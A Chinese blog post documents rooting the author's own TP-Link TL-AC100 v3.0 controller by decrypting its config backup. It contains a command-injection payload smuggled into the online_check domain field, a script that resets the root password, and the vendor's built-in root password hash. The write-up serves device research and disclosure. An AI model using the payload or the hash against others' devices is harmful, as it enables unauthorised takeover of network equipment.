获取 TP-Link TL-AC100 v3.0 的 root 权限

近日在闲鱼买了一个 TL-AC100 无线控制器,来实现 AP 的无缝漫游。ACWiFi 的一篇帖子说 v3.0 和 v4.0 的硬件一模一样,所以我就想试试将 v4.0 的固件刷到 v3.0 里面。不过,固件升级的逻辑带有签名验证,直接刷会提示失败,因此想刷机就必须先获得 root 权限。本文记载我获取 root 设备权限的过程。

从客服处索要了最新的固件版本 1.2.7。用 binwalk 工具分析固件,发现固件没有任何加密,其结构中规中矩,由 U-Boot、内核、根文件系统构成。

root@server:/home/me# binwalk TL-AC100\ V3.0_1.2.7_Build_20200526_Rel.36577n.bin                                                            Thu 03 Nov 2022 01:17:12 PM CST

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
116548        0x1C744         Certificate in DER format (x509 v3), header length: 4, sequence length: 64
124592        0x1E6B0         U-Boot version string, "U-Boot 1.1.4 (May  3 2017 - 17:00:03)"
124832        0x1E7A0         CRC32 polynomial table, big endian
154080        0x259E0         uImage header, header size: 64 bytes, header CRC: 0xEECC9DB6, created: 2020-05-26 02:09:13, image size: 1012059 bytes, Data Address: 0x80060000, Entry Point: 0x80060000, data CRC: 0x510CC1BE, OS: Linux, CPU: MIPS, image type: Multi-File Image, compression type: lzma, image name: "MIPS OpenWrt Linux-3.3.8"
154152        0x25A28         LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3001036 bytes
1166203       0x11CB7B        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 7632640 bytes, 2601 inodes, blocksize: 262144 bytes, created: 2020-05-26 02:09:34

我们最感兴趣的肯定是 rootfs 的内容了。提取并解压 squashfs 格式的根文件系统,就可以看到其中的文件:

root@server:/home/me/squashfs-root# ls
bin/  dev/  etc/  lib/  mnt/  overlay/  proc/  rom/  root/  sbin/  sys/  tmp/  userconfig/  usr/  var/  www/

进行了一番研究,该固件基于 OpenWrt 编写,配置文件系统基于 uci,Web 界面也用了自带的 luci。很自然地想到,如果能够控制配置文件,也许可以重写系统的一些关键部分,达到执行命令或写入文件的目的。

/usr/lib/lua/luci/controller/admin/firmware.lua 文件中,可以看到保存配置文件的逻辑,关键代码摘录如下:

function config_backup( ... )
    luci.sys.exec("tar -zvcf "..BACKUP_TMP.." "..USERCONFIG_PATH.." -C / 2>&1 | tee "..FIRMWARE_UPGRADE_LOG)
    local enc_cmd = string.format("des_crypt -e -i %s -o %s 2>&1 |tee " ..FIRMWARE_UPGRADE_LOG,BACKUP_TMP,BACKUP_TMP)
    luci.sys.exec(enc_cmd)

    local reader = sys.ltn12_popen("cat " ..BACKUP_TMP)
    luci.http.header('Content-Disposition', 'attachment; filename="backup-%s-%s.bin"' % {
        luci.sys.hostname(), os.date("%Y-%m-%d")})
    luci.http.prepare_content("application/x-bin")
    luci.ltn12.pump.all(reader, luci.http.write)
end

以上代码显示,备份配置文件时,程序先将 USERCONFIG_PATH 目录(即 /userconfig)下的内容使用 tar 命令压缩打包,然后用 des_crypt 命令进行“加密”操作。加密后的文件被发送到用户浏览器下载。在同一个 lua 文件中,还有还原配置文件的逻辑,其流程大致与上述流程相反。

因此,要想读取或者修改备份的配置文件,我们就需要想办法运行 des_crypt 程序,对下载后的文件进行加密解密操作。AC100 使用的 CPU 是 TP9343,这颗芯片中 CPU 为大端的 MIPS 架构核心。因为 MIPS 架构的设备比较难找到(其实我自己流片的 CPU 就是 MIPS 架构,不过是小端字节序),我们可以使用 User Mode QEMU 来模拟运行。

运行 apt install qemu-user-static 安装 QEMU,将 /usr/bin/qemu-mips-static 复制到固件根文件系统下的 /usr/bin 目录中,然后就可以 chroot 进入一个 MIPS 环境,并调用 des_crypt 命令。

root@server:/home/me/squashfs-root# cp /usr/bin/qemu-mips-static usr/bin
root@server:/home/me/squashfs-root# chroot . qemu-mips-static /bin/sh

BusyBox v1.22.1 (2020-05-26 10:04:31 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # des_crypt
para error.
--------------------------------------------
use des_crypt as follwing:
des_crypt [-d/-e] -i [input file] -o [output file]
--------------------------------------------
/ #

我们在网页端备份配置,然后使用 des_crypt 命令解密配置,并用 tar 命令解压配置文件,得到了设备上的 /userconfig 目录。/userconfig 中,存放了 /etc/config/www 中的一部分文件,这部分文件开机时会被复制到根目录下。/etc/config 是 OpenWrt 系统的配置文件目录,用 uci 格式存储;/www 下似乎存放了 Captive Portal 功能的 Web 页面。

接下来需要研究怎么通过修改配置文件拿到设备 shell。直接尝试用 ssh 连接设备,发现可以连通,只是密码错误。看起来设备自带了 dropbear ssh 服务器并默认启用。因此,只要能够设法修改密码,就可以进入设备。

观察发现,/etc/config 下有一个 online_check 配置文件,看起来里面配置了检查设备是否在线所使用的域名:

root@server:/home/me/extract-conf/userconfig# cat etc/config/online_check

config global 'setting'
	option check_interval '10'
	list domain_name 'www.baidu.com'
	list domain_name 'www.qq.com'

那么,online_check 是怎么进行的呢?我们在根文件系统全局搜索 online_check 字符串,不难发现 /usr/sbin/online_check 文件,文件使用 lua 语言编写,主要内容就是读取上面配置文件,并使用 DNS 进行连接性检查。关键代码如下:

local function dns_check(domain_name)
	local get_ip_cmd="dnsq %s %s -t 1 2>&1 | awk '{print $1}'" % {section[".name"], domain_name}
	local my_ip_resolved = luci.sys.exec(get_ip_cmd)
end

local function online_check()
	local check_list_uci = uci_r:get_list(CONFIG_NAME, "setting", "domain_name")
	for i = 1,#check_list,1 do
		check_ret = dns_check(check_list[i])
	end
end

while true do
	if online_check() ...

代码对于配置文件的内容没有做任何过滤,直接传给 luci.sys.exec 函数执行。经典的命令注入漏洞。我们只需要稍做手脚,就可以让这行代码执行任意我们想要的命令。修改 /etc/config/online_check 文件,加入关键的一行:

config global 'setting'
	option check_interval '10'
	list domain_name '; sh /userconfig/my.sh; echo '
	list domain_name 'www.qq.com'

同时,在配置文件 /userconfig 目录中增加 my.sh 文件来修改 root 用户的密码为 123456:

#!/bin/sh
echo 123456 > /tmp/1
echo 123456 >> /tmp/1
passwd < /tmp/1

使用 tar 命令将修改后的配置目录打包,然后在 QEMU 环境中使用 des_crypt 命令来“加密”配置文件,最后在设备的 Web 界面中使用“恢复系统配置”功能来恢复配置。恢复配置后,设备会自动重启,然后密码会被自动改成 123456 ,我们就可以愉快用 ssh 来连接设备了。设备上的 dropbear 版本很老,只支持 sha1 哈希算法,因此必须给 ssh 命令加上选项,显式启用这个不安全的算法,才能成功连接设备。

$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@192.168.1.253
root@192.168.1.253's password:


BusyBox v1.22.1 (2020-05-26 10:04:31 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 BARRIER BREAKER (Barrier Breaker, r95210)
 -----------------------------------------------------
  * 1/2 oz Galliano         Pour all ingredients into
  * 4 oz cold Coffee        an irish coffee mug filled
  * 1 1/2 oz Dark Rum       with crushed ice. Stir.
  * 2 tsp. Creme de Cacao
 -----------------------------------------------------
root@TL-AC100:~#

值得注意的是,设备上的 /etc/shadow 文件中,自带了一个 root 密码:

$ cat etc/shadow
root:$1$tHiYRbC2$zCy8uUkCeF8Rwa8p2yPKX1:16800:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::

由于密码使用 MD5 哈希,我们无法知晓密码的明文;可以肯定的是,TP-Link 内部的某位员工知道这个密码。对于任何 AC100 设备,只要能通过网络访问,就可以使用这个密码来 ssh 连接。因此,设备的安全机制可以说形同虚设。只能说,emmm。

在 v3.0 硬件上刷 v4.0 固件我还没有尝试,等有空尝试一下。对 v4.0 硬件的固件简单分析可以发现,online_check 已不再是一个脚本,变成了一个 ELF 可执行文件,因此以上所描述的 root 方法不再适用,是否存在 root 方法还有待进一步研究。

CC BY-SA 4.0 本作品使用基于以下许可授权:Creative Commons Attribution-ShareAlike 4.0 International License.